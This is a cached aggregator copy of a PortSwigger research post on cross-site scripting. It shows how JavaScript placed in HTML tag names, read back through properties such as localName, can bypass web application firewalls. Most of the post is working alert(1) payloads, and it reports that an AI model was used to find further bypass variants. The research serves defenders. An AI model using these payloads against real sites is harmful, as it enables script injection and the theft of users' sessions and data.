What's in a tag name? JavaScript, apparently

Lobsters Hottest Papers

Summary

Research article from PortSwigger demonstrating new XSS attack vectors using JavaScript properties in HTML tag names, enabling WAF bypasses across browsers.

<p><a href="https://lobste.rs/s/lbsvk7/what_s_tag_name_javascript_apparently">Comments</a></p>
Original Article
View Cached Full Text

Cached at: 08/26/26, 09:37 AM

# What's in a tag name? JavaScript, apparently Source: [https://portswigger.net/research/whats-in-a-tag-name-javascript-apparently](https://portswigger.net/research/whats-in-a-tag-name-javascript-apparently) ![Gareth Heyes](https://portswigger.net/content/images/profiles/callout_gareth_heyes_114px.png) - **Published:**Tuesday, 25 August 2026 at 14:24 UTC - **Updated:**Tuesday, 25 August 2026 at 14:24 UTC I was on my laptop, as I often am when there's rubbish on telly, and found myself wondering what characters are allowed in a tag\. I knew they had to begin with "a\-zA\-Z", but what about after that? I tried placing`alert\(1\)`in the tag name and remembered that the browser converts everything to uppercase\. Then I wondered whether another property existed that didn't do that\. I gave my tag an id attribute and inspected it in DevTools using`console\.dir\(x\)`\. Carefully inspecting each property, I saw that "`localName`" contained a lowercase version of the tag name\. This was perfect\. After that, it was a simple case of putting the puzzle pieces together\. I already knew that you could make any tag focusable using`tabindex`and that you can chain the`onfocus`event with itself\. You can write a string to the event handler using`attributes\[0\]\.value`, which gets converted into a function and can then be called as a constructor using "`new`": `<alert\(1\) onfocus="attributes\[0\]\.value=localName,new onfocus" autofocus tabindex=1\>` I'm sure you'll agree that it's pretty shocking, and it works in every browser\. It's also a pretty nice way to bypass a WAF\. Let's continue the journey\. If`localName`returns a lowercase version of the tag, maybe that means you can use uppercase JavaScript, and yes, you can: `<JAVASCRIPT:ALERT\(1\) onfocus=location=localName autofocus tabindex=1\>` Then I fuzzed every transformation of the tag name\. This showed that alphabetic characters, forward slashes, whitespace, and newlines get transformed\. Interestingly, line and paragraph separator characters don't\. These are treated like newlines in JavaScript, so you can create bizarre\-looking vectors: `<null alert\(1\) onfocus="attributes\.onfocus\.value=localName,new onfocus" autofocus tabindex=1\>` If`attributes\[0\]\.value`gets blocked, there are some interesting alternatives: `<ALERT\(1\) onfocus="attributes\[0\]\.textContent=localName,new onfocus" autofocus tabindex=1\>``<ALERT\(1\) onfocus="attributes\[0\]\.nodeValue=localName,new onfocus" autofocus tabindex=1\>` After that, I started messing around with the HTML\. An opening angle bracket can actually be part of the tag name\. You can then combine it with the first attribute to produce an[XSS](https://portswigger.net/web-security/cross-site-scripting)vector: `<alert<img title=" src onerror=alert\(1\)\> " onfocus=innerHTML=localName\+attributes\[0\]\.value tabindex=1 autofocus\>` I messed around with other attributes, like "part", which actually converts space\-separated values into an array\. You can then extract the`onfocus\(event\)`portion of the event, overwrite the event variable with the payload, and replace the`onfocus`variable with the Function constructor\. This results in the lowercase tag name being passed to eval and executed as JavaScript: `<ALERT\(1\) onfocus="event=localName;part=onfocus,onfocus=Function,eval\(part\[1\]\)\(\)" tabindex=1 autofocus\>` I gave this to Sol 5\.6 to see whether it could come up with any interesting variants\. It was pretty damn good\. It discovered that you could use`contenteditable`instead of`tabindex`to make an element focusable: `<JAVASCRIPT:ALERT\(1\) onfocus=location=localName autofocus contenteditable\>` I didn't know about the`getAttributeNode`function either: `<ALERT\(1\) onfocus="getAttributeNode\('onfocus'\)\.value=localName,onfocus\(\)" autofocus tabindex=1\>` It also reminded me about the setHTMLUnsafe function, which I'd forgotten about: `<alert<img title=" src onerror=alert\(1\)\> " onfocus=setHTMLUnsafe\(localName\+title\) tabindex=1 autofocus\>` Finally, it found a nice variant of the part attribute vector that uses`classList`instead: `<ALERT\(1\) onfocus="event=localName;classList=onfocus,onfocus=Function,eval\(classList\[1\]\)\(\)" tabindex=1 autofocus\>` I started this post as a simple question about what are valid tag name characters and it turned into a reminder that browsers are far more lenient than you would expect\. A tag name can become an JS payload, a URL, or even fresh markup\. The lesson is that unusual HTML and seemingly harmless properties such as`localName`,`part`, and`classList`can become unexpected sources of hiding payloads and transformations that can bypass blocklists and WAF signatures\. [Back to all articles](https://portswigger.net/research/articles)

Similar Articles

Small, native web tricks worth remembering

Hacker News Top

HTMLcat is a resource offering small, native web tricks for HTML, CSS, and JavaScript, including examples and notes on browser support and accessibility.

XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None

Lobsters Hottest

The article explains how a single XSS vulnerability can defeat the phishing-resistance of passkeys when attestation is set to 'none', allowing attackers to register their own passkeys and achieve persistent account takeover. It calls for attention to this overlooked threat and suggests defenses.

The React2Shell Story and What Happened Next.js

Lobsters Hottest

This article details the discovery and disclosure of CVE-2025-5518 (React2Shell), a critical remote code execution vulnerability in React Server Components, explaining how researchers bypassed Flight protocol validations to access object prototypes.

Antiquated HTML Snippets and Artefacts

Lobsters Hottest

# Antiquated HTML Snippets and Artefacts Source: [https://vale.rocks/posts/html-relics](https://vale.rocks/posts/html-relics) With ever\-changing devices, browsers, operating systems, form factors, specifications, personal preferences, tooling, and corporate interests, the web is in a constant state of flux\. As a result, so is theHTMLwe write\. For every line of theHTMLspecification itself that has changed since the language’s inception, there are many more bits ofHTMLthat have seen what I’ll c